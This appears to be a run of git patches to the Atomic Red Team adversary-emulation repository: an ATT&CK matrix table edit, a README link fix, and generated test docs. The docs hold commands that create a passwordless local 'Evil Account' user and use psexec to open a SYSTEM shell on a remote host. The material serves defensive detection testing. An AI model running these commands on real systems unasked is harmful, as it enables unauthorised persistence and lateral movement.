| -| | [Regsvr32](./T1117/T1117.md) | [External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Disabling Security Tools](./T1089/T1089.md) | [Private Keys](./T1145/T1145.md) | [System Information Discovery](./T1082/T1082.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Rundll32](./T1085/T1085.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | -| | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hooking](./T1179/T1179.md) | [SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File Deletion](./T1107/T1107.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scheduled Task](./T1053/T1053.md) | [File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [System Service Discovery](./T1007/T1007.md) | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | | [System Time Discovery](./T1124/T1124.md) | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Logon Scripts](./T1037/T1037.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | [Trusted Developer Utilities](./T1127/T1127.md) | [Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Netsh Helper DLL](./T1128/T1128.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | +| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote File Copy](./T1105/T1105.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Permission Groups Discovery](./T1069/T1069.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DCShadow](./T1207/T1207.md) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](./T1057/T1057.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Mshta](./T1170/T1170.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Query Registry](./T1012/T1012.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [PowerShell](./T1086/T1086.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Regsvcs/Regasm](./T1121/T1121.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Regsvr32](./T1117/T1117.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](./T1089/T1089.md) | [Private Keys](./T1145/T1145.md) | [System Information Discovery](./T1082/T1082.md) | [Windows Admin Shares](./T1077/T1077.md) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Rundll32](./T1085/T1085.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | +| | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scheduled Task](./T1053/T1053.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Service Discovery](./T1007/T1007.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | [System Time Discovery](./T1124/T1124.md) | | | | Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Logon Scripts](./T1037/T1037.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | [Trusted Developer Utilities](./T1127/T1127.md) | Modify Existing Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Netsh Helper DLL](./T1128/T1128.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | | | [Windows Management Instrumentation](./T1047/T1047.md) | [New Service](./T1050/T1050.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | | | [Windows Remote Management](./T1028/T1028.md) | [Office Application Startup](./T1137/T1137.md) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | -| | | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [InstallUtil](./T1118/T1118.md) | | | | | | | -| | | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [InstallUtil](./T1118/T1118.md) | | | | | | | +| | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Modify Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Registry Run Keys / Start Folder](./T1060/T1060.md) | | [Mshta](./T1170/T1170.md) | | | | | | | -| | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | -| | | [Scheduled Task](./T1053/T1053.md) | | [Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | -| | | [System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | -| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Regsvr32](./T1117/T1117.md) | | | | | | | -| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Rootkit](./T1014/T1014.md) | | | | | | | +| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | +| | | [Scheduled Task](./T1053/T1053.md) | | Network Share Connection Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Screensaver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Security Support Provider [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Process Injection](./T1055/T1055.md) | | | | | | | +| | | System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvr32](./T1117/T1117.md) | | | | | | | +| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Rootkit](./T1014/T1014.md) | | | | | | | | | | [Windows Management Instrumentation Event Subscription](./T1084/T1084.md) | | [Rundll32](./T1085/T1085.md) | | | | | | | -| | | [Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | | | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | | | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | | | [Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | Winlogon Helper DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Timestomp](./T1099/T1099.md) | | | | | | | | | | | | [Trusted Developer Utilities](./T1127/T1127.md) | | | | | | | -| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | From 5cf5402665ba893df25260a2f3bdfaa3ef5433f9 Mon Sep 17 00:00:00 2001 From: "swelcher.com" <32134114+swelcher@users.noreply.github.com> Date: Sat, 23 Jun 2018 10:44:06 -0500 Subject: [PATCH 39/91] Corrected URL in contributing (#267) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8aec4bbc..88536965 100644 --- a/README.md +++ b/README.md @@ -43,7 +43,7 @@ Join the community on Slack at [https://atomicredteam.slack.com](https://atomicr - Windows [Tests](atomics/windows-index.md) and [Matrix](atomics/windows-matrix.md) - macOS [Tests](atomics/macos-index.md) and [Matrix](atomics/macos-matrix.md) - Linux [Tests](atomics/linux-index.md) and [Matrix](atomics/linux-matrix.md) -* [Fork](https://github.com/redcanaryco/atomic-red-team/fork) and [Contribute](https://atomicredteam.io/contributing/) your own modifications +* [Fork](https://github.com/redcanaryco/atomic-red-team/fork) and [Contribute](https://atomicredteam.io/contributing) your own modifications * [Doing more with Atomic Red Team](#doing-more-with-atomic-red-team) * [Using the Atomic Red Team Ruby API](#using-the-atomic-red-team-ruby-api) * [Bonus APIs: Ruby ATT&CK API](#bonus-apis-ruby-attck-api) From e664ac9a39630471db9dea4ab307f7ae3d92cbfd Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Mon, 25 Jun 2018 11:36:00 +0000 Subject: [PATCH 40/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1136/T1136.md | 41 ++++++++++++++++++++++++++++++++++++++++ atomics/index.md | 2 ++ atomics/windows-index.md | 2 ++ 3 files changed, 45 insertions(+) diff --git a/atomics/T1136/T1136.md b/atomics/T1136/T1136.md index 3008de58..153996ff 100644 --- a/atomics/T1136/T1136.md +++ b/atomics/T1136/T1136.md @@ -18,6 +18,10 @@ Permissions Required: Administrator - [Atomic Test #2 - Create a user account on a MacOS system](#atomic-test-2---create-a-user-account-on-a-macos-system) +- [Atomic Test #3 - Create a new user in a command prompt](#atomic-test-3---create-a-new-user-in-a-command-prompt) + +- [Atomic Test #4 - Create a new user in PowerShell](#atomic-test-4---create-a-new-user-in-powershell) +
    @@ -62,3 +66,40 @@ dscl . -create /Users/#{username} PrimaryGroupID 80 dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username} ```
    +
    + +## Atomic Test #3 - Create a new user in a command prompt +Creates a new user in a command prompt + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| username | Username of the user to create | String | Evil Account| + +#### Run it with `command_prompt`! +``` +net user /add #{username} +``` +
    +
    + +## Atomic Test #4 - Create a new user in PowerShell +Creates a new user in PowerShell + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| username | Username of the user to create | String | Evil Account| + +#### Run it with `powershell`! +``` +New-LocalUser -Name #{username} -NoPassword +net user /add #{username} +``` +
    diff --git a/atomics/index.md b/atomics/index.md index ddefd92f..0b86ffed 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -32,6 +32,8 @@ - [T1136 Create Account](./T1136/T1136.md) - Atomic Test #1: Create a user account on a Linux system [linux] - Atomic Test #2: Create a user account on a MacOS system [macos] + - Atomic Test #3: Create a new user in a command prompt [windows] + - Atomic Test #4: Create a new user in PowerShell [windows] - T1038 DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 2d92109f..8da80c60 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -156,6 +156,8 @@ - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: PowerShell UAC Bypass [windows] - [T1136 Create Account](./T1136/T1136.md) + - Atomic Test #3: Create a new user in a command prompt [windows] + - Atomic Test #4: Create a new user in PowerShell [windows] - T1038 DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1044 File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) From cbfc1f034de013999b2a5149b475954c4aa7f2d3 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Mon, 25 Jun 2018 11:36:38 +0000 Subject: [PATCH 41/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1028/T1028.md | 21 +++++++++++++++++++++ atomics/index.md | 2 ++ atomics/windows-index.md | 2 ++ 3 files changed, 25 insertions(+) diff --git a/atomics/T1028/T1028.md b/atomics/T1028/T1028.md index 93be88be..566ebb96 100644 --- a/atomics/T1028/T1028.md +++ b/atomics/T1028/T1028.md @@ -24,6 +24,8 @@ Remote Support: Yes - [Atomic Test #4 - Psexec](#atomic-test-4---psexec) +- [Atomic Test #5 - Invoke-Command](#atomic-test-5---invoke-command) +
    @@ -100,3 +102,22 @@ Utilize psexec to start remote process psexec \\host -u domain\user -p password -s cmd.exe ```
    +
